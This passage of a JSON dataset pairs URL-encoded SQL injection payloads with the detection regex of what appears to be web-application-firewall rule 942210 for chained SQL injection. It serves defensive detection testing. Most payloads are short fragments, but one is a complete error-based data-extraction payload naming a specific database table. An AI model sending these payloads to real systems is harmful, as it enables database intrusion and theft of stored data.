"variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3Bdrop" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D+SET+%40OLD_SQL_NOTES" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%40example.com%26name%3D%28select" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%40extension%5D%3DMmcDirectmailSubscription%26tx_mmcdirectmailsubscription_subscr%5B__referrer%5D%5B%40vendor%5D%3D%28SELECT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%40extension%5D%3DMmcDirectmailSubscription%26tx_mmcdirectmailsubscription_subscr%5B__referrer%5D%5B%40vendor%5D%3DMMC%26tx_mmcdirectmailsubscription_subscr%5B__referrer%5D%5B%40controller%5D%3DSubscribe%26tx_mmcdirectmailsubscription_subscr%5B__referrer%5D%5B%40action%5D%3Dregister%26tx_mmcdirectmailsubscription_subscr%5B__referrer%5D%5Barguments%5D%3DYTowOnt98f5f75937bad1b56b6c736ef42e625647dab347d%26tx_mmcdirectmailsubscription_subscr%5B__referrer%5D%5B%40request%5D%3Da%3A4%3A%7Bs%3A10%3A%26tx_mmcdirectmailsubscription_subscr%5B__trustedProperties%5D%3Da%3A4%3A%7Bs%3A7%3A%26tx_mmcdirectmailsubscription_subscr%5Baddress%5D%5BfirstName%5D%3D%28SELECT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Dand+object_type+%3D+%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2FBusiness+and" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+value+%3D+%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D4AND4%2B" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2F3+or+" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2F3+and%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2Fxxxx_R+AND+" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2Fxxxx_R+or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D1+GROUP+BY+CONCAT%280x716a787671%2C%28SELECT+MID%28%28IFNULL%28CAST%28a_1_18+AS+CHAR%29%2C0x20%29%29%2C1%2C54%29+FROM+db_justiz_daz.ugesundheit_antworten+ORDER+BY+id+LIMIT+571%2C1%29%2C0x7178716b71%2CFLOOR%28RAND%280%29%2A2%29%29+HAVING+MIN%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+backend_layout%21%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+uid%21%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Dand+1%3D1%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26%28l%3D%210%29" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 